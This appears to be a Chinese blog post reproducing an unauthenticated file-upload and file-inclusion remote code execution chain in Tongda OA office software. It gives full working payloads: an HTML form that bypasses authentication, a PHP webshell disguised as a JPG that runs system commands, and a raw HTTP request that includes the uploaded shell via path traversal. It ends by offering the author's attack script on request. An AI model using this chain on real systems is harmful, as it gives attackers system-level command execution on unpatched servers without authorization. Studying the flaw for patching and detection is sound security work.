1. 程式人生 > 實用技巧 >通達OA任意檔案上傳+檔案包含RCE漏洞復現(附自寫EXP)

通達OA任意檔案上傳+檔案包含RCE漏洞復現(附自寫EXP)

一、環境搭建: 下載通達OA的安裝包,根據提示點選下一步安裝即可,安裝完成,訪問本機ip即可 二、漏洞簡介: 可以繞過身份認證,,然後即可上傳任意檔案,配合檔案包含即可造成RCE遠端程式碼執行漏洞 影響版本: V11版、2017版、2016版、2015版、2013增強版、2013版 三、漏洞復現: 1、任意檔案上傳漏洞位置:
/ispirit/im/upload.php
2、構造payload上傳檔案: ①將以下內容儲存為html:
<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="
post" enctype="multipart/form-data"> <input type="text"name='P' value = 1 ></input> //用來繞過身份驗證 <input type="text"name='MSG_CATE' value = 'file'></input> <input type="text"name='UPLOAD_MODE' value = 1 ></input> <input type="text" name="DEST_UID" value = 1></input> <input type="
file" name="ATTACHMENT"></input> <input type="submit" ></input> </body> </html>
②將以下內容儲存為shell.jpg:
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?
>
③利用html檔案上傳shell.jpg: 返回上傳shell.jpg後的檔名資訊: 3、利用檔案包含漏洞進行RCE: 檔案包含漏洞位置:
/ispirit/interface/gateway.php
訪問漏洞頁面,並且把GET改成POST,並修改、構造資料包,注意Content-Type是要手動加上的:
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=8phdj361a5d498n03tnqd7c104; KEY_RANDOMDATA=17743;PHPSESSID=8phdj361a5d498n03tnqd7c104;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
 
json={"url":"/general/../../attach/im/2006/209898972.shell.jpg"}&cmd=whoami
json中的值,根據返回的檔名進行構造,例如: 2006_209898972|shell.jpg,那麼就是上面這樣構造 然後就可以進行RCE了,以系統許可權執行任何命令 4、利用指令碼進行攻擊(自己寫的,支援的功能:①直接執行命令、②檔案包含生成webshell): 注意:指令碼中的gateway.php檔案的路徑根據OA版本進行修改,例如:
2013版本:/ispirit/interface/gateway.php
2017版本:/mac/gateway.php
指令碼使用方法:
python3 TDoa_RCE 目標url -f 選擇的功能

生成webshell

指令碼就不直接放在這了...需要的可以聯絡我(QQ或者wx公眾號後臺留言),注意:僅作為學習和討論使用,禁止任何違法行為,與作者無關!

QQ:1254311935